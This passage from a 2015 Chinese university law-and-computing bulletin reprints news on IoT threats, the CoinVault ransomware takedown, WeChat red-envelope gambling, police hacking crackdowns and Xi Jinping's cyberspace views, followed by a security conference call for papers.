却 没 有 被 软 件 保 护, 没 有 安 全 软 件 保 护 的 普 通 人 不 受 到 网 络 攻 击 的 几 率 为 零 一 位 科 技 媒 体 的 记 者 表 示 了 自 己 的 担 忧 : 现 在 大 家 对 网 络 安 全 的 担 忧 主 要 在 泄 露 个 人 信 息 被 人 盗 取 账 户 这 个 层 面, 假 设 未 来 智 能 产 品 和 人 的 身 体 绑 定, 黑 客 入 侵 有 可 能 会 命 令 人 去 做 一 些 非 法 的 事 情 早 在 今 年 中 国 9 3 阅 兵 时, 卡 巴 斯 基 老 总 尤 金 卡 巴 斯 基 受 中 国 政 府 邀 请 到 达 中 国 时 称 : 下 一 个 攻 击 目 标 是 什 么? 任 何 一 个 东 西 都 可 能 被 攻 击, 现 在 的 设 备 都 已 经 连 上 网 了, 诸 如 手 表 汽 车 智 能 家 居 等, 我 担 心 在 未 来 会 有 更 多 不 同 种 类 的 攻 击 出 现 不 仅 如 此, 网 络 攻 击 的 诉 求 也 在 变 化, 网 络 犯 罪 正 在 侵 入 实 际 犯 罪 在 拉 美, 贩 卖 毒 品 者 通 过 电 脑 侵 入 了 一 个 欧 洲 港 口 的 自 动 化 设 备 网 络, 当 满 载 毒 品 的 船 进 入 欧 洲 的 港 口 时, 网 络 会 自 动 安 排 设 备 来 卸 货 尤 金 卡 巴 斯 基 称 : 这 其 实 已 经 是 实 施 了 实 际 的 犯 罪, 而 不 是 纯 粹 的 网 络 犯 罪 但 是, 智 能 产 品 开 发 人 员 和 用 户 对 网 络 安 全 的 重 视 让 人 担 忧 Vitaty Kamluk 举 例, 如 果 在 街 上, 有 人 和 你 说 这 个 东 西 多 好 多 便 宜, 人 们 会 怀 疑 并 提 高 警 惕, 但 在 互 联 网 上 遇 到 同 样 状 况 则 不 会 引 起 人 们 的 重 视 : 人 们 忘 了 他 们 面 对 的 还 是 人, 而 不 是 机 器 由 此 看 来, 研 制 智 能 产 品 前 应 该 先 考 虑 网 络 安 全 但 Vitaty Kamluk 称 : 大 公 司 注 重 名 誉, 资 金 充 裕, 会 把 网 络 安 全 放 在 第 一 位, 但 是 小 公 司 没 有 钱, 在 研 制 时 会 忽 略 网 络 安 全 这 也 是 尤 金 卡 巴 斯 基 作 为 国 际 顶 尖 网 络 安 全 公 司 的 老 总 和 中 国 政 府 达 成 的 共 识 : 网 络 安 全 问 题 已 经 成 为 一 个 跨 地 区 跨 国 界 的 国 际 性 问 题, 是 一 个 全 球 性 的 挑 战, 这 需 要 共 同 努 力, 共 同 应 对 在 对 抗 网 络 犯 罪 时, 必 须 和 警 察 合 作 今 年, 一 个 名 为 CoinVault 幕 后 的 网 络 罪 犯 感 染 了 全 球 数 万 台 计 算 机, 其 中 大 部 分 受 害 者 位 于 荷 兰 德 国 美 国 法 国 和 英 国 共 有 108 个 国 家 的 用 户 遭 受 影 响 网 络 罪 犯 至 少 成 功 锁 定 了 1500 台 基 于 Windows 的 计 算 机, 要 求 受 害 者 以 比 特 币 的 形 式 支 付 赎 金, 解 密 自 己 的 文 件 卡 巴 斯 基 实 验 室 在 2014 年 5 月 发 现 了 最 早 版 本 的 CoinVault, 之 后 又 帮 助 荷 兰 警 方 国 家 高 科 技 刑 侦 组 和 荷 兰 国 家 检 察 官 办 公 室 展 开 调 查, 针 对 所 有 相 关 恶 意 软 件 样 本 进 行 了 详 细 分 析 卡 巴 斯 基 实 验 室 全 球 研 究 和 分 析 团 队 安 全 研 究 员 Jornt van der Wiel 对 此 表 示 : CoinVault 攻 击 事 件 正 在 接 近 尾 声, 针 对 CoinVault 的 调 查 非 常 出 色, 因 为 我 们 获 取 到 了 所 有 解 密 密 钥 通 过 艰 苦 的 工 作, 我 们 成 功 干 扰 了 网 络 罪 犯 的 经 营 模 式

22 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 对 于 天 天 离 不 开 网 络 的 年 轻 人 来 说,Vitaty Kamluk 建 议 : 不 要 把 网 络 安 全 寄 托 于 所 使 用 平 台 设 备 的 创 始 人, 首 先 应 当 树 立 观 念 : 网 络 上 的 东 西 和 现 实 生 活 中 一 样 都 是 你 的 财 产, 要 有 保 护 意 识 相 关 链 接 : 面 膜 群 玩 红 包 接 龙 组 织 者 抽 头 警 方 : 调 查 取 证 难 年 11 月 23 日 10:21 来 源 : 人 民 日 报 作 者 : 吴 心 远 张 西 美 朵 核 心 阅 读 抢 红 包 在 微 信 群 很 常 见, 而 值 得 注 意 的 是, 有 人 利 用 抢 红 包 组 织 赌 博 据 报 道, 近 期 多 起 微 信 抢 红 包 赌 博 案 件 被 查 处, 有 的 案 件 参 赌 人 员 甚 至 遍 及 全 国 抢 红 包 变 身 网 络 赌 博 有 哪 些 特 点? 遇 到 微 信 赌 博 邀 请, 应 该 如 何 处 理? 近 日 告 破 的 上 海 首 例 微 信 群 涉 嫌 组 织 网 络 赌 博 案, 可 作 为 警 示 上 海 首 例 微 信 群 涉 嫌 组 织 网 络 赌 博 案 日 前 宣 布 告 破, 涉 案 金 额 达 10 万 余 元, 警 方 一 举 抓 获 犯 罪 嫌 疑 人 8 名, 其 中 4 名 主 犯 因 涉 嫌 开 设 赌 场 罪 已 被 公 安 机 关 移 送 检 察 院 审 查 起 诉 面 膜 群 玩 红 包 接 龙, 组 织 者 每 包 抽 头 28 元 今 年 8 月 初, 上 海 警 方 发 现 有 网 友 在 论 坛 发 帖 称, 今 天 在 微 信 群 里 输 了 上 万 元 今 天 在 微 信 群 里 输 了 七 八 千 微 信 红 包 何 以 涉 及 大 金 额 的 输 赢? 为 一 探 究 竟, 民 警 装 作 赌 客, 加 入 到 一 个 名 为 面 膜 288 一 盒 4 片 的 微 信 群 观 察 数 日, 侦 查 人 员 发 现, 该 群 打 着 售 卖 面 膜 的 幌 子, 实 则 一 直 在 玩 红 包 接 龙 群 内 的 单 某 某 蒋 某 某 等 组 织 者 负 责 代 发 红 包, 即 所 谓 代 包, 通 过 抽 头 营 利 负 责 此 案 的 上 海 徐 汇 公 安 分 局 网 安 支 队 杨 警 官 介 绍, 该 群 的 入 群 门 槛 较 高, 只 接 受 在 别 的 群 玩 过 类 似 游 戏 的 熟 客, 或 者 熟 人 邀 请, 以 防 人 多 嘴 杂 引 起 警 方 注 意 那 些 不 遵 守 游 戏 规 则 的 人 将 会 被 立 即 踢 出 群 该 群 红 包 接 龙 有 以 下 规 则 : 群 内 发 一 种 固 定 金 额 288 元 的 普 通 红 包, 必 须 由 代 包 手 发 出, 每 个 普 通 红 包 由 群 主 等 组 织 者 抽 头 28 元, 实 发 260 元, 分 成 4 份 供 玩 家 抢 红 包 系 统 随 机 生 成 金 额, 抢 到 红 包 金 额 倒 数 第 二 的 为 输 家 组 织 者 会 提 醒 输 家 支 付 给 代 包 手 288 元 作 为 下 一 轮 的 活 动 本 金, 以 此 不 断 循 环 实 施 网 络 赌 博 杨 警 官 说 截 至 案 发, 面 膜 288 一 盒 4 片 群 成 员 最 多 时 超 50 人, 平 均 年 龄 26 岁 左 右, 发 红 包 数 量 共 计 500 余 个, 涉 案 金 额 10 万 余 元 侦 查 人 员 根 据 群 成 员 在 群 里 的 表 现, 列 出 了 17 个 活 跃 用 户, 进 行 逐 个 排 查, 最 终 确 认 了 1 名 群 主 1 名 管 理 人 员 和 4 名 代 包 手, 其 余 为 主 要 玩 家 犯 罪 嫌 疑 人 单 某 某 等 4 人 因 涉 嫌 开 设 赌 场 罪 被 依 法 刑 事 拘 留, 警 方 缴 获 涉 案 手 机 6 部 到 案 后, 犯 罪 嫌 疑 人 对 于 利 用 微 信 群 组 织 赌 博 的 事 实 供 认 不 讳 参 赌 的 都 是 熟 客 微 信 群 说 散 就 散, 警 方 调 查 取 证 难 据 犯 罪 嫌 疑 人 单 某 某 交 代, 自 己 以 前 在 别 的 群 里 当 玩 家, 摸 出 了 门 道, 发 现 这 是 一 个 不 错 的 生 财 之 道 于 是, 他 萌 生 了 自 己 建 群 的 想 法, 随 即 伙 同 好 友 蒋 某 某 等 人 一 起 组 建 了 这 个 面 膜 群 为 何 取 名 面 膜 群? 杨 警 官 对 此 解 释 说 : 微 信 红 包 赌 博 的 一 大 特 点 就 是 隐 蔽 性 强, 它 们 通 常 以 面 膜 288 一 盒 4 片 胶 囊 588 一 盒 5 粒 为 名 称, 不 知 情 的 人 还 会 误 以 为 是 代 购 或 微 店 这 些 群 的 组 织 者 警 惕 性 越 来 越 高, 我 们 的 侦 查 人 员 成 为 熟 客 后, 才 得 以 进 入 杨 警 官 坦 言, 相 比 于 传 统 线 下 赌 博, 网 络 赌 博 打 击 难 度 更 大, 前 期 取 证 很 难

23 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 此 类 微 信 群 的 流 动 性 强, 随 时 可 能 被 群 主 解 散 杨 警 官 说, 在 查 处 此 案 前, 警 方 侦 查 人 员 曾 经 潜 入 到 一 个 涉 嫌 网 络 赌 博 的 微 信 群, 没 想 到 那 个 微 信 群 在 7 月 底 忽 然 解 散, 毫 无 预 兆 据 了 解, 在 该 群 内, 为 了 调 动 玩 家 参 与 积 极 性, 组 织 者 还 会 在 群 里 设 立 奖 励 制 度, 例 如 抢 到 红 包 金 额 数 字 等 特 殊 数 字 的 是 幸 运 儿, 该 轮 的 其 他 三 位 玩 家 共 同 筹 集 一 个 588 元 或 者 2888 元 的 红 包 给 幸 运 儿 当 上 幸 运 儿 的 概 率 虽 然 微 乎 其 微, 但 大 大 刺 激 了 玩 家 的 兴 趣, 很 多 人 抱 着 这 种 侥 幸 心 理 参 与 网 络 赌 博 杨 警 官 说 上 海 警 方 研 判, 手 机 移 动 端 的 赌 博 行 为 因 为 操 作 简 便 单 笔 投 入 金 额 不 多, 易 于 被 常 人 接 受, 近 期 可 能 有 流 行 的 趋 势 有 抽 头 环 节 就 涉 嫌 赌 博, 可 向 微 信 平 台 和 警 方 举 报 这 不 就 是 抢 红 包 吗? 别 的 群 也 会 发 红 包 啊, 没 啥 区 别 啊 这 个 群 无 非 就 是 红 包 发 得 勤 数 额 较 大 我 没 输 过, 从 来 没 想 过 要 算 发 的 金 额 是 288 元 还 是 260 元 在 警 方 后 续 取 证 过 程 中, 不 少 玩 家 均 表 示 不 理 解 代 包 的 含 义, 更 不 知 道 平 常 热 衷 的 抢 红 包, 怎 么 就 变 成 了 赌 博 娱 乐 游 戏 和 违 法 犯 罪 的 边 界, 究 竟 如 何 划 定? 不 以 营 利 为 目 的, 亲 友 间 进 行 带 有 少 量 财 物 输 赢 的 娱 乐 活 动 并 不 违 法 但 如 果 有 营 利 目 的 在, 有 抽 头 这 个 获 利 情 节 在, 就 涉 嫌 赌 博 杨 警 官 解 释 根 据 我 国 刑 法 第 三 百 零 三 条 规 定 : 以 营 利 为 目 的, 聚 众 赌 博 或 者 以 赌 博 为 业 的, 处 三 年 以 下 有 期 徒 刑 拘 役 或 者 管 制, 并 处 罚 金 开 设 赌 场 的, 处 三 年 以 下 有 期 徒 刑 拘 役 或 者 管 制, 并 处 罚 金 ; 情 节 严 重 的, 处 三 年 以 上 十 年 以 下 有 期 徒 刑, 并 处 罚 金 据 警 方 介 绍, 微 信 红 包 金 额 的 随 机 性, 增 加 了 抢 红 包 的 刺 激 性, 但 利 用 微 信 红 包 进 行 赌 博, 看 似 与 传 统 赌 博 形 式 不 同, 其 本 质 还 是 以 营 利 为 目 的 上 海 联 合 律 师 事 务 所 律 师 王 竞 介 绍, 最 高 人 民 法 院 最 高 人 民 检 察 院 关 于 办 理 赌 博 刑 事 案 件 具 体 应 用 法 律 若 干 问 题 的 解 释 规 定, 以 营 利 为 目 的, 组 织 3 人 以 上 赌 博, 抽 头 渔 利 数 额 累 计 达 到 5000 元 以 上 的 属 于 刑 法 第 三 百 零 三 条 规 定 的 聚 众 赌 博 此 外, 目 前 微 信 已 开 通 举 报 机 制, 用 户 可 选 择 举 报 该 微 信 群, 举 报 原 因 包 括 色 情 赌 博 欺 诈 等 违 法 行 为, 也 可 及 时 向 公 安 机 关 举 报 吴 心 远 张 西 美 朵 相 关 链 接 : 中 外 警 察 打 击 网 络 黑 客 : 木 马 伪 装 图 片 盗 取 网 银 法 治 新 闻 京 华 时 报 2015 年 11 月 13 日 11:08 京 华 时 报 讯 ( 记 者 袁 国 礼 ) 记 者 昨 天 从 公 安 部 获 悉, 在 打 击 整 治 网 络 黑 客 犯 罪 专 项 行 动 中, 全 国 公 安 机 关 共 侦 破 黑 客 犯 罪 案 件 400 余 起, 抓 获 违 法 犯 罪 嫌 疑 人 900 余 名 此 外, 记 者 还 了 解 到, 公 安 机 关 在 全 国 建 立 了 300 多 个 电 子 数 据 勘 查 取 证 实 验 室, 加 强 对 网 络 犯 罪 活 动 的 勘 查 取 证 据 介 绍, 随 着 互 联 网 技 术 的 迅 猛 发 展, 网 络 犯 罪 问 题 日 益 突 出, 近 年 来 公 安 部 连 续 组 织 开 展 了 系 列 专 项 打 击 整 治 行 动 今 年 7 月 份, 公 安 部 在 全 国 范 围 组 织 开 展 打 击 整 治 网 络 黑 客 犯 罪 专 项 行 动 此 次 专 项 行 动 的 重 点 是 严 厉 打 击 攻 击 破 坏 入 侵 控 制 网 站, 制 作 传 播 木 马 病 毒 和 网 银 木 马 盗 窃 诈 骗 等 危 害 网 络 安 全 侵 害 人 民 群 众 切 身 利 益 等 网 络 犯 罪 行 为 在 专 项 行 动 中, 中 国 警 方 还 与 有 关 国 家 的 执 法 机 关, 联 合 开 展 了 一 系 列 国 际 执 法 合 作 其 中, 山 东 淄 博 公 安 机 关 联 合 越 南 执 法 机 关 成 功 侦 破 了 一 起 入 侵 电 子 邮 箱 诈 骗 案, 吉 林 延 边 公 安 机 关 联 合 韩 国 执 法 机 关 成 功 侦 破 一 起 网 银 木 马 盗 窃 资 金 案 据 记 者 了 解, 在 严 厉 打 击 网 络 黑 客 的 同 时, 公 安 机 关 还 在 全 国 建 立 了 300 多 个 电 子 数 据

24 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 勘 查 取 证 实 验 室, 加 强 对 网 络 犯 罪 活 动 的 勘 查 取 证 开 展 网 络 空 间 打 防 管 控 体 系 建 设, 督 促 党 政 机 关 和 企 事 业 单 位 严 格 落 实 信 息 安 全 等 级 保 护 制 度 >> 案 例 黑 客 入 侵 电 子 邮 箱 获 信 息 诱 骗 汇 款 今 年 3 月, 越 南 海 防 市 某 公 司 向 中 国 山 东 文 远 建 材 科 技 有 限 公 司 订 购 了 价 值 7.5 万 美 元 的 货 物 越 方 公 司 付 款 后, 但 中 方 公 司 并 未 收 到 货 款 核 查 发 现, 原 来 是 越 方 公 司 遭 到 网 络 诈 骗, 货 款 被 汇 入 另 外 一 个 银 行 账 户 近 期, 山 东 淄 博 警 方 经 过 侦 查, 将 黑 客 犯 罪 团 伙 打 掉, 抓 获 5 名 嫌 犯, 其 中 3 名 为 外 籍 人 员 该 团 伙 入 侵 了 越 方 公 司 的 电 子 邮 箱, 从 而 获 取 两 家 公 司 往 来 贸 易 的 信 息, 利 用 与 中 方 公 司 电 子 邮 箱 地 址 类 似 的 邮 箱 仿 冒 中 方 公 司 与 越 方 联 系, 诱 使 其 将 货 款 汇 入 另 一 个 银 行 账 户 中 韩 跨 国 组 合 网 盗 韩 国 储 户 今 年 年 初, 吉 林 延 边 州 公 安 机 关 发 现 有 犯 罪 团 伙 针 对 韩 国 网 民 银 行 卡 实 施 跨 国 网 银 盗 窃 该 团 伙 由 中 韩 两 国 多 个 犯 罪 小 组 组 成, 分 布 在 吉 林 福 建 等 地, 专 门 针 对 韩 国 银 行 储 户 存 款 实 施 网 络 盗 窃 吉 林 公 安 机 关 近 日 在 吉 林 福 建 等 地 将 31 名 犯 罪 嫌 疑 人 抓 获 经 查, 该 团 伙 利 用 木 马 程 序 和 钓 鱼 网 站 等 方 式 获 取 韩 国 居 民 的 银 行 卡 信 息, 由 韩 国 籍 嫌 犯 冒 充 韩 国 银 行 工 作 人 员, 通 过 电 话 方 式 诱 骗 用 户 解 除 银 行 卡 保 护 设 置, 再 利 用 已 获 取 的 网 银 账 户 信 息 登 录, 然 后 转 走 存 款 经 初 步 统 计, 该 犯 罪 团 伙 一 周 内 盗 窃 的 资 金 就 达 到 人 民 币 300 余 万 元 木 马 程 序 伪 装 成 图 片 盗 取 支 付 宝 今 年 5 月 14 日, 江 苏 徐 州 睢 宁 县 淘 宝 卖 家 王 某 发 现 其 支 付 宝 账 号 内 余 额 被 盗 3996 元 当 地 警 方 侦 查 发 现, 犯 罪 嫌 疑 人 以 定 做 家 具 名 义 向 王 某 QQ 发 送 伪 造 成 图 片 样 式 的 木 马 程 序, 利 用 该 木 马 程 序 将 其 支 付 宝 账 号 内 余 额 盗 走 据 了 解, 该 木 马 程 序 具 有 远 程 控 制 键 盘 记 录 结 束 进 程 等 功 能, 并 且 可 以 避 免 被 主 流 杀 毒 软 件 发 现 用 户 一 旦 被 植 入 木 马 程 序, 用 户 电 脑 即 被 嫌 疑 人 监 控, 当 登 录 网 银 支 付 宝 等 网 站 时, 其 账 户 密 码 等 信 息 就 被 对 方 获 取 近 期, 警 方 先 后 在 广 东 四 川 辽 宁 等 地 抓 获 涉 嫌 制 作 销 售 木 马 提 供 免 杀 实 施 盗 窃 等 环 节 的 10 名 犯 罪 嫌 疑 人 目 前 已 查 实 该 犯 罪 团 伙 作 案 近 20 起, 涉 案 价 值 10 余 万 元 非 法 添 加 私 服 推 广 告 获 取 推 广 费 今 年 7 月, 江 苏 南 通 市 通 州 区 教 育 党 建 人 事 网 页 面 多 次 被 人 恶 意 篡 改 江 苏 南 通 公 安 机 关 勘 验 发 现, 该 网 站 的 服 务 器 被 植 入 了 恶 意 木 马 文 件 近 期, 警 方 将 嫌 疑 人 丛 某 某 抓 获 据 丛 某 某 交 代, 其 自 去 年 以 来 采 用 扫 描 网 站 漏 洞 放 置 木 马 病 毒 方 式 获 取 网 站 控 制 权 限, 然 后 入 侵 网 站 服 务 器 并 进 行 篡 改, 非 法 添 加 私 服 推 广 广 告 网 页 获 取 推 广 费 据 统 计, 丛 某 某 先 后 入 侵 了 近 200 个 网 站, 非 法 获 利 近 20 万 元 山 寨 中 国 移 动 制 售 手 机 木 马 程 序 今 年 8 月 20 日, 安 徽 省 公 安 厅 接 到 报 案, 称 有 人 在 网 上 大 肆 贩 卖 手 机 木 马 程 序,8 月 29 日, 宿 州 警 方 将 嫌 疑 人 王 某 抓 获 据 王 某 供 称, 他 利 用 自 学 的 计 算 机 技 术 制 作 手 机 木 马 程 序, 然 后 在 网 上 销 售, 该 程 序 具 备 手 机 短 信 息 拦 截 键 盘 记 录 等 功 能 公 安 机 关 发 现 王 某 还 在 境 外 租 用 15 台 服 务 器, 建 设 维 护 100 余 个 虚 假 中 国 移 动 网 站 并 在 网 站 上 挂 载 其 制 作 的 手 机 木 马 程 序, 再 出 租 给 专 门 实 施 网 络 盗 窃 网 络 诈 骗 的 不 法 分 子 使 用 据 统 计, 王 某 共 非 法 获 利 60 余 万 元 相 关 链 接 :

25 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 习 近 平 网 络 观 : 建 网 络 强 国 让 发 展 成 果 惠 及 人 民 :18:52 来 源 : 中 国 共 产 党 新 闻 网 作 者 : 黄 敬 文 学 习 路 上 按 互 联 网 作 为 20 世 纪 最 伟 大 的 发 明 之 一, 把 世 界 变 成 了 地 球 村, 深 刻 改 变 着 人 们 的 生 产 生 活 让 互 联 网 发 展 成 果 惠 及 13 亿 中 国 人 民 互 联 网 不 是 法 外 之 地 " 没 有 网 络 安 全 就 没 有 国 家 安 全, 互 联 网 成 为 了 习 近 平 讲 话 中 的 高 频 词 汇 这 其 中 既 有 现 实 考 虑, 也 有 战 略 考 量 第 二 届 世 界 互 联 网 大 会 ( 乌 镇 峰 会 ) 将 于 12 月 16 日 至 18 日 在 浙 江 省 乌 镇 举 行 为 此, 学 习 路 上 带 您 一 起 回 顾 习 近 平 的 网 络 观 1. 建 设 网 络 强 国 网 络 安 全 和 信 息 化 是 事 关 国 家 安 全 和 国 家 发 展 事 关 广 大 人 民 群 众 工 作 生 活 的 重 大 战 略 问 题, 要 从 国 际 国 内 大 势 出 发, 总 体 布 局, 统 筹 各 方, 创 新 发 展, 努 力 把 我 国 建 设 成 为 网 络 强 国 调 2014 年 2 月 27 日, 习 近 平 主 持 召 开 中 央 网 络 安 全 和 信 息 化 领 导 小 组 第 一 次 会 议 强 建 设 网 络 强 国 的 战 略 部 署 要 与 两 个 一 百 年 奋 斗 目 标 同 步 推 进, 向 着 网 络 基 础 设 施 基 本 普 及 自 主 创 新 能 力 显 著 增 强 信 息 经 济 全 面 发 展 网 络 安 全 保 障 有 力 的 目 标 不 断 前 进 中 国 正 在 积 极 推 进 网 络 建 设, 让 互 联 网 发 展 成 果 惠 及 13 亿 中 国 人 民 2014 年 11 月 19 日, 习 近 平 向 首 届 世 界 互 联 网 大 会 致 贺 词 2. 保 障 网 络 安 全 网 络 和 信 息 安 全 牵 涉 到 国 家 安 全 和 社 会 稳 定, 是 我 们 面 临 的 新 的 综 合 性 挑 战 2013 年 11 月 15 日, 习 近 平 关 于 中 共 中 央 关 于 全 面 深 化 改 革 若 干 重 大 问 题 的 决 定 的 说 明 没 有 网 络 安 全 就 没 有 国 家 安 全, 没 有 信 息 化 就 没 有 现 代 化 网 络 安 全 和 信 息 化 是 一 体 之 两 翼 驱 动 之 双 轮, 必 须 统 一 谋 划 统 一 部 署 统 一 推 进 统 一 实 施 做 好 网 络 安 全 和 信 息 化 工 作, 要 处 理 好 安 全 和 发 展 的 关 系, 做 到 协 调 一 致 齐 头 并 进, 以 安 全 保 发 展 以 发 展 促 安 全, 努 力 建 久 安 之 势 成 长 治 之 业 当 今 世 界, 互 联 网 发 展 对 国 家 主 权 安 全 发 展 利 益 提 出 了 新 的 挑 战, 必 须 认 真 应 对 虽 然 互 联 网 具 有 高 度 全 球 化 的 特 征, 但 每 一 个 国 家 在 信 息 领 域 的 主 权 权 益 都 不 应 受 到 侵 犯, 互 联 网 技 术 再 发 展 也 不 能 侵 犯 他 国 的 信 息 主 权 在 信 息 领 域 没 有 双 重 标 准, 各 国 都 有 权 维 护 自 己 的 信 息 安 全, 不 能 一 个 国 家 安 全 而 其 他 国 家 不 安 全, 一 部 分 国 家 安 全 而 另 一 部 分 国 家 不 安 全, 更 不 能 牺 牲 别 国 安 全 谋 求 自 身 所 谓 绝 对 安 全 2014 年 7 月 16 日, 习 近 平 在 巴 西 国 会 的 演 讲 互 联 网 作 为 20 世 纪 最 伟 大 的 发 明 之 一, 把 世 界 变 成 了 地 球 村, 深 刻 改 变 着 人 们 的 生 产 生 活, 有 力 推 动 着 社 会 发 展, 具 有 高 度 全 球 化 的 特 性 但 是, 这 块 新 疆 域 不 是 法 外 之 地, 同 样 要 讲 法 治, 同 样 要 维 护 国 家 主 权 安 全 发 展 利 益 2015 年 9 月 22 日, 习 近 平 接 受 华 尔 街 日 报 书 面 采 访 时 指 出 3. 掌 握 核 心 技 术 建 设 网 络 强 国, 要 有 自 己 的 技 术, 有 过 硬 的 技 术 ; 要 有 丰 富 全 面 的 信 息 服 务, 繁 荣 发 展 的 网 络 文 化 ; 要 有 良 好 的 信 息 基 础 设 施, 形 成 实 力 雄 厚 的 信 息 经 济 信 息 技 术 和 产 业 发 展 程 度 决 定 着 信 息 化 发 展 水 平, 要 加 强 核 心 技 术 自 主 创 新 和 基 础 设 施 建 设, 提 升 信 息 采 集 处 理 传 播 利 用 安 全 能 力, 更 好 惠 及 民 生 从 某 种 意 义 上 说, 科 技 实 力 决 定 着 世 界 政 治 经 济 力 量 对 比 的 变 化, 也 决 定 着 各 国 各 民 族 的 前 途 命 运

26 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 2014 年 6 月 9 日, 习 近 平 在 中 国 科 学 院 第 十 七 次 院 士 大 会 中 国 工 程 院 第 十 二 次 院 士 大 会 上 的 讲 话 只 有 把 核 心 技 术 掌 握 在 自 己 手 中, 才 能 真 正 掌 握 竞 争 和 发 展 的 主 动 权, 才 能 从 根 本 上 保 障 国 家 经 济 安 全 国 防 安 全 和 其 他 安 全 2014 年 6 月 9 日, 习 近 平 在 中 国 科 学 院 第 十 七 次 院 士 大 会 中 国 工 程 院 第 十 二 次 院 士 大 会 上 的 讲 话 4. 清 朗 网 络 空 间 必 须 坚 持 巩 固 壮 大 主 流 思 想 舆 论, 弘 扬 主 旋 律, 传 播 正 能 量, 激 发 全 社 会 团 结 奋 进 的 强 大 力 量 关 键 是 要 提 高 质 量 和 水 平, 把 握 好 时 度 效, 增 强 吸 引 力 和 感 染 力, 让 群 众 爱 听 爱 看 产 生 共 鸣, 充 分 发 挥 正 面 宣 传 鼓 舞 人 激 励 人 的 作 用 2013 年 8 月 19 日, 习 近 平 在 全 国 宣 传 思 想 工 作 会 议 上 强 调 坚 持 积 极 利 用 科 学 发 展 依 法 管 理 确 保 安 全 的 方 针, 加 大 依 法 管 理 网 络 力 度, 完 善 互 联 网 管 理 领 导 体 制 2013 年 11 月 15 日, 习 近 平 关 于 中 共 中 央 关 于 全 面 深 化 改 革 若 干 重 大 问 题 的 决 定 的 说 明 做 好 网 上 舆 论 工 作 是 一 项 长 期 任 务, 要 创 新 改 进 网 上 宣 传, 运 用 网 络 传 播 规 律, 弘 扬 主 旋 律, 激 发 正 能 量, 大 力 培 育 和 践 行 社 会 主 义 核 心 价 值 观, 把 握 好 网 上 舆 论 引 导 的 时 度 效, 使 网 络 空 间 清 朗 起 来 5. 汇 聚 网 络 人 才 要 有 高 素 质 的 网 络 安 全 和 信 息 化 人 才 队 伍 ; 要 积 极 开 展 双 边 多 边 的 互 联 网 国 际 交 流 合 作 建 设 网 络 强 国, 要 把 人 才 资 源 汇 聚 起 来, 建 设 一 支 政 治 强 业 务 精 作 风 好 的 强 大 队 伍 千 军 易 得, 一 将 难 求, 要 培 养 造 就 世 界 水 平 的 科 学 家 网 络 科 技 领 军 人 才 卓 越 工 程 师 高 水 平 创 新 团 队 6. 加 强 国 际 合 作 国 际 社 会 要 本 着 相 互 尊 重 和 相 互 信 任 的 原 则, 通 过 积 极 有 效 的 国 际 合 作, 共 同 构 建 和 平 安 全 开 放 合 作 的 网 络 空 间, 建 立 多 边 民 主 透 明 的 国 际 互 联 网 治 理 体 系 2014 年 7 月 16 日, 习 近 平 在 巴 西 国 会 的 演 讲 互 联 网 真 正 让 世 界 变 成 了 地 球 村, 让 国 际 社 会 越 来 越 成 为 你 中 有 我 我 中 有 你 的 命 运 共 同 体 互 联 网 发 展 对 国 家 主 权 安 全 发 展 利 益 提 出 了 新 的 挑 战, 迫 切 需 要 国 际 社 会 认 真 应 对 谋 求 共 治 实 现 共 赢 中 国 愿 意 同 世 界 各 国 携 手 努 力, 本 着 相 互 尊 重 相 互 信 任 的 原 则, 深 化 国 际 合 作, 尊 重 网 络 主 权, 维 护 网 络 安 全, 共 同 构 建 和 平 安 全 开 放 合 作 的 网 络 空 间, 建 立 多 边 民 主 透 明 的 国 际 互 联 网 治 理 体 系 中 美 都 是 网 络 大 国, 双 方 理 应 在 相 互 尊 重 相 互 信 任 的 基 础 上, 就 网 络 问 题 开 展 建 设 性 对 话, 打 造 中 美 合 作 的 亮 点, 让 网 络 空 间 更 好 造 福 两 国 人 民 和 世 界 人 民 2015 年 9 月 23 日, 习 近 平 会 见 参 加 第 八 届 中 美 互 联 网 论 坛 的 双 方 代 表 时 强 调 相 关 链 接 :

27 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 国 内 外 学 术 活 动 学 术 活 动 预 告 2016 年 网 络 系 统 和 安 全 国 际 会 议 会 议 名 称 ( 中 文 ): 2016 年 网 络 系 统 和 安 全 国 际 会 议 会 议 名 称 ( 英 文 ): 2016 International Conference on Networking Systems and Security (NSysS) 所 属 学 科 : 计 算 机 网 络, 信 息 安 全 开 始 日 期 : 结 束 日 期 : 所 在 国 家 : 孟 加 拉 国 具 体 地 点 : Dhaka, Bangladesh 主 办 单 位 : Bangladesh University of Engineering and Technology ac. bd 会 议 网 站 : 会 议 背 景 介 绍 : 2016 International Conference on Networking Systems and Security (NSysS 2016) aims at providing a forum for researchers, practitioners, developers, and users from academia, industry, and government to interact, present and exchange new research ideas and results. Its scope includes recent advances in both theoretical and experimental research addressing the rich space of computer networks, networking systems, and security across academia and industry. NSysS 2016 will be held during January 7-9, 2016 in Dhaka, the capital of Bangladesh. This conference is technically co-sponsored by ACM Chapter and IEEE Bangladesh Section. It is the 2nd event of this conference series. 征 文 范 围 及 要 求 : Scope of the conference covers, but is not limited to, the following: Addressing and location management Cellular and broadband wireless nets Cognitive radio networking Congestion control Cross layer design and optimization Cyber physical systems and networking Data centers Data reduction, inference, and signal processing Delay/disruption tolerant networks Denial of service Embedded software for sensor networks Energy harvesting Experience with real-world applications Experimental results from operational networks or network applications Fault-tolerance, reliability, and troubleshooting Future Internet design Innovative applications and deployment experiences

28 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 Mobile, participatory, and social sensing Multicast, broadcast and anycast Multimedia protocols Near field communication Network architectures Network management and traffic engineering Network security and privacy Network simulation and emulation Network, transport, and application-layer protocols Novel components, devices and architectures for networked sensing Operating systems and runtime environments Optical networks P2P, overlay, and content distribution networks Power control and management Quality of service Resource allocation and management RFID networks and protocols Satellite networks Scheduling and buffer management Security, trust and privacy Self-organizing networks Sensor data storage, retrieval, processing and management Social computing and networks Switches and switching Theoretical foundation and fundamental bounds Topology characterization and inference 